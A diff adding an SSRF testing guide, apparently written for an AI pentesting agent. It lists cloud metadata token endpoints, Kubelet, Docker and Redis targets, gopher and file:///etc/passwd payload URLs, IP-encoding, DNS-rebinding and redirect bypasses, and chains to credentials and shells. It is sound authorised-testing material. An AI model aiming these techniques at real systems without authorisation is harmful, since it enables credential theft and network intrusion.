### GCP
|
|
45
|
+
|
|
46
|
+
- Endpoint: `http://metadata.google.internal/computeMetadata/v1/`
|
|
47
|
+
- Required header: `Metadata-Flavor: Google`
|
|
48
|
+
- Target: `/instance/service-accounts/default/token`
|
|
49
|
+
|
|
50
|
+
### Azure
|
|
51
|
+
|
|
52
|
+
- Endpoint: `http://169.254.169.254/metadata/instance?api-version=2021-02-01`
|
|
53
|
+
- Required header: `Metadata: true`
|
|
54
|
+
- MSI OAuth: `/metadata/identity/oauth2/token`
|
|
55
|
+
|
|
56
|
+
### Kubernetes
|
|
57
|
+
|
|
58
|
+
- Kubelet: 10250 (authenticated) and 10255 (deprecated read-only)
|
|
59
|
+
- Probe `/pods`, `/metrics`, exec/attach endpoints
|
|
60
|
+
- API server: `https://kubernetes.default.svc/`
|
|
61
|
+
- Authorization often needs service account token; SSRF that propagates headers/cookies may reuse them
|
|
62
|
+
- Service discovery: attempt cluster DNS names (`svc.cluster.local`) and default services (kube-dns, metrics-server)
|
|
63
|
+
|
|
64
|
+
### Internal Services
|
|
65
|
+
|
|
66
|
+
- Docker API: `http://localhost:2375/v1.24/containers/json` (no TLS variants often internal-only)
|
|
67
|
+
- Redis/Memcached: `dict://localhost:11211/stat`, gopher payloads to Redis on 6379
|
|
68
|
+
- Elasticsearch/OpenSearch: `http://localhost:9200/_cat/indices`
|
|
69
|
+
- Message brokers/admin UIs: RabbitMQ, Kafka REST, Celery/Flower, Jenkins crumb APIs
|
|
70
|
+
- FastCGI/PHP-FPM: `gopher://localhost:9000/` (craft records for file write/exec when app routes to FPM)
|
|
71
|
+
|
|
72
|
+
## Key Vulnerabilities
|
|
73
|
+
|
|
74
|
+
### Protocol Exploitation
|
|
75
|
+
|
|
76
|
+
**Gopher**
|
|
77
|
+
- Speak raw text protocols (Redis/SMTP/IMAP/HTTP/FCGI)
|
|
78
|
+
- Use to craft multi-line payloads, schedule cron via Redis, or build FastCGI requests
|
|
79
|
+
|
|
80
|
+
**File and Wrappers**
|
|
81
|
+
- `file:///etc/passwd`, `file:///proc/self/environ` when libraries allow file handlers
|
|
82
|
+
- `jar:`, `netdoc:`, `smb://` and language-specific wrappers (`php://`, `expect://`) where enabled
|
|
83
|
+
|
|
84
|
+
### Address Variants
|
|
85
|
+
|
|
86
|
+
- Loopback: `127.0.0.1`, `127.1`, `2130706433`, `0x7f000001`, `::1`, `[::ffff:127.0.0.1]`
|
|
87
|
+
- RFC1918/link-local: 10/8, 172.16/12, 192.168/16, 169.254/16
|
|
88
|
+
- Test IPv6-mapped and mixed-notation forms
|
|
89
|
+
|
|
90
|
+
### URL Confusion
|
|
91
|
+
|
|
92
|
+
- Userinfo and fragments: `http://internal@attacker/` or `http://attacker#@internal/`
|
|
93
|
+
- Scheme-less/relative forms the server might complete internally: `//169.254.169.254/`
|
|
94
|
+
- Trailing dots and mixed case: `internal.` vs `INTERNAL`, Unicode dot lookalikes
|
|
95
|
+
|
|
96
|
+
### Redirect Abuse
|
|
97
|
+
|
|
98
|
+
- Allowlist only applied pre-redirect: 302 from attacker → internal host
|
|
99
|
+
- Test multi-hop and protocol switches (http→file/gopher via custom clients)
|
|
100
|
+
|
|
101
|
+
### Header and Method Control
|
|
102
|
+
|
|
103
|
+
- Some sinks reflect or allow CRLF-injection into the request line/headers
|
|
104
|
+
- If arbitrary headers/methods are possible, IMDSv2, GCP, and Azure become reachable
|
|
105
|
+
|
|
106
|
+
## Bypass Techniques
|
|
107
|
+
|
|
108
|
+
**Address Encoding**
|
|
109
|
+
- Decimal, hex, octal representations of IP addresses
|
|
110
|
+
- IPv6 variants, IPv4-mapped IPv6, mixed notation
|
|
111
|
+
|
|
112
|
+
**DNS Rebinding**
|
|
113
|
+
- First resolution returns allowed IP, second returns internal target
|
|
114
|
+
- Use short TTL DNS records under attacker control
|
|
115
|
+
|
|
116
|
+
**URL Parser Differentials**
|
|
117
|
+
- Different parsing between allowlist checker and actual fetcher
|
|
118
|
+
- Exploit inconsistencies in scheme, host, port, path handling
|
|
119
|
+
|
|
120
|
+
**Redirect Chains**
|
|
121
|
+
- Initial URL passes allowlist, redirect targets internal host
|
|
122
|
+
- Protocol downgrade/upgrade through redirects
|
|
123
|
+
|
|
124
|
+
## Blind SSRF
|
|
125
|
+
|
|
126
|
+
- Use OAST (DNS/HTTP) to confirm egress. `interactsh-client -v` (running
|
|
127
|
+
in the sandbox) gives you a unique `*.oast.fun` domain; embed it in
|
|
128
|
+
the URL parameter and watch the interactsh stdout for the inbound
|
|
129
|
+
DNS/HTTP hit. Each invocation yields a fresh domain — restart between
|
|
130
|
+
payloads if you need to correlate hits to a specific request.
|
|
131
|
+
- Derive internal reachability from timing, response size, TLS errors, and ETag differences
|
|
132
|
+
- Build a port map by binary searching timeouts (short connect/read timeouts yield cleaner diffs)
|
|
133
|
+
|
|
134
|
+
## Chaining Attacks
|
|
135
|
+
|
|
136
|
+
- SSRF → Metadata creds → cloud API access (list buckets, read secrets)
|
|
137
|
+
- SSRF → Redis/FCGI/Docker → file write/command execution → shell
|
|
138
|
+
- SSRF → Kubelet/API → pod list/logs → token/secret discovery → lateral movement
|
|
139
|
+
|
|
140
|
+
## Testing Methodology
|
|
141
|
+
|
|
142
|
+
1. **Identify surfaces** - Every user-influenced URL/host/path across web/mobile/API and background jobs
|
|
143
|
+
2. **Establish oracle** - Quiet OAST DNS/HTTP callbacks first
|
|
144
|
+
3. **Internal addressing** - Pivot to loopback, RFC1918, link-local, IPv6, hostnames
|
|
145
|
+
4. **Protocol variations** - Test gopher, file, dict where supported
|
|
146
|
+
5. **Parser differentials** - Test across frameworks, CDNs, and language libraries
|
|
147
|
+
6. **Redirect behavior** - Single-hop, multi-hop, protocol switches
|
|
148
|
+
7. **Header/method control** - Can you influence request headers or HTTP method?
|
|
149
|
+
8. **High-value targets** - Metadata, kubelet, Redis, FastCGI, Docker, Vault, internal admin panels
|
|
150
|
+
|
|
151
|
+
## Validation
|
|
152
|
+
|
|
153
|
+
1. Prove an outbound server-initiated request occurred (OAST interaction or internal-only response differences)
|
|
154
|
+
2. Show access to non-public resources (metadata, internal admin, service ports) from the vulnerable service
|
|
155
|
+
3. Where possible, demonstrate minimal-impact credential access (short-lived token) or a harmless internal data read
|
|
156
|
+
4. Confirm reproducibility and document request parameters that control scheme/host/headers/method and redirect behavior
|
|
157
|
+
|
|
158
|
+
## False Positives
|
|
159
|
+
|
|
160
|
+
- Client-side fetches only (no server request)
|
|
161
|
+
- Strict allowlists with DNS pinning and no redirect following
|
|
162
|
+
- SSRF simulators/mocks returning canned responses without real egress
|
|
163
|
+
- Blocked egress confirmed by uniform errors across all targets and protocols
|
|
164
|
+
- OAST callbacks where the source IP matches the tester's machine, not the server — the browser or a client-side fetch made the request, not the backend
|
|
165
|
+
|
|
166
|
+
## Impact
|
|
167
|
+
|
|
168
|
+
- Cloud credential disclosure with subsequent control-plane/API access
|
|
169
|
+
- Access to internal control panels and data stores not exposed publicly
|
|
170
|
+
- Lateral movement into Kubernetes, service meshes, and CI/CD
|
|
171
|
+
- RCE via protocol abuse (FCGI, Redis), Docker daemon access, or scriptable admin interfaces
|
|
172
|
+
|
|
173
|
+
## Pro Tips
|
|
174
|
+
|
|
175
|
+
1. Prefer OAST callbacks first; then iterate on internal addressing and protocols
|
|
176
|
+
2. Test IPv6 and mixed-notation addresses; filters often ignore them
|
|
177
|
+
3. Observe library/client differences (curl, Java HttpClient, Node, Go); behavior changes across services and jobs
|
|
178
|
+
4. Redirects are leverage: control both the initial allowlisted host and the next hop
|
|
179
|
+
5. Metadata endpoints require headers/methods; verify if your sink can set them or if intermediaries add them
|
|
180
|
+
6. Use tiny payloads and tight timeouts to map ports with minimal noise
|
|
181
|
+
7. When responses are masked, diff length/ETag/status and TLS error classes to infer reachability
|
|
182
|
+
8. Chain quickly to durable impact (short-lived tokens, harmless internal reads) and stop there
|
|
183
|
+
|
|
184
|
+
## Summary
|
|
185
|
+
|
|
186
|
+
Any feature that fetches remote content on behalf of a user is a potential tunnel to internal networks and control planes. Bind scheme/host/port/headers explicitly or expect an attacker to route through them.
|